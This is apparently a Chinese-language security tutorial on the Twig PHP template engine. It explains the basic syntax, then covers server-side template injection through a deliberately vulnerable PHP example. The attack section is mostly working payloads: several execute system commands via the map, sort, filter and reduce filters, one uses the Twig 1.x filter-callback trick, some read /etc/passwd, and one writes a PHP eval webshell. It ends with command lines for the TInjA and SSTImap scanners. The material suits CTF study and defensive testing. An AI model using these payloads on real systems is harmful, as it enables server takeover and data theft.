Twig 引擎

Twig 是一个 PHP 模版引擎

语法特征

插值

Twig 使用 {{}} 表示插值,用于输出变量或表达式的值

可以使用 .[] 访问变量中的属性

1
2
{{user.name}}
{{user['name']}}

控制结构

Twig 支持常见控制结构,如 if-else、for 等

if-else 使用 {% if condition %} ... {% else %} ... {% endif %}

for 循环使用

1
2
3
4
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
// Output: 0, 1, 2, 3,

也可以使用 set 为代码块内的变量赋值,如:

1
2
3
{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}

过滤器

Twig 支持使用过滤器对变量进行处理

{{user.name|upper}} 表示将 user.name 变量的值转换为大写

下面这个过滤器将接收一个序列 list ,然后使用 join 中指定的分隔符合并成一个字符串

1
2
3
4
{{ list|join }}

{{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c

继承

Twig 支持模板继承

通过 {% extends "base.html" %} 指定基础模板

并在子模板中使用 {% block content %} ... {% endblock %} 包裹子模版内容

注释

Twig 使用 `` 进行注释

引入其他模版

Twig 提供的 include 函数可以在模版中引入其他模版,并将该模版渲染后的内容返回到当前模版

1
{{ include('sidebar.html') }}

Twig 模版注入

和其他模版注入一样,Twig模版注入也是发生在直接将用户输入作为模版,如下面的代码

1
2
3
4
5
6
7
8
9
<?php
require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);

$template = $twig->createTemplate("Hello {$_GET['name']}!");

echo $template->render();

基础 payload

1
{{system("cat /flag")}}

Twig 1.x

getFilter 方法调用任意 PHP 函数 payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

Twig 2.x/3.x

代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// map 过滤器
{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{['id']|map('system')|join}}

// sort 过滤器
{{['id',1]|sort('system')|join}}
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}

// filter 过滤器
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('system')}}
{{['id']|filter('passthru')}}


{{[0]|reduce('system','id')}}

写 webshell

1
{{{"<?php phpinfo();eval($_POST[1])":"/var/www/html/shell.php"}|map("file_put_contents")}}    // 写 Webshell

模版注入工具

TInjA

支持模版引擎包括:

  • .NET
    • DotLiquid, Fluid, Razor Engine, Scriban
  • Elixir
    • EEx
  • Go
    • html/template, text/template
  • Java
    • Freemarker, Groovy, Thymeleaf, Velocity
  • JavaScript
    • Angular.js, Dot, EJS, Eta, Handlebars, Hogan.js, Mustache, Nunjucks, Pug, Twig.js, Underscore, Velocity.js, Vue.js
  • PHP
    • Blade, Latte, Mustache.php, Smarty, Twig
  • Python
    • Chameleon, Cheetah3, Django, Jinja2, Mako, Pystache, SimpleTemplate Engine, Tornado
  • Ruby
    • ERB, Erubi, Erubis, Haml, Liquid, Mustache, Slim

使用方式

1
2
3
4
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
# -H 指定请求头
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
# -d 指定 POST 数据; -c 指定 Cookie

SSTImap

使用方式

1
2
3
python3 ./sstimap.py -u 'https://example.com/page?name=John' -s
python3 ./sstimap.py -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade
python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'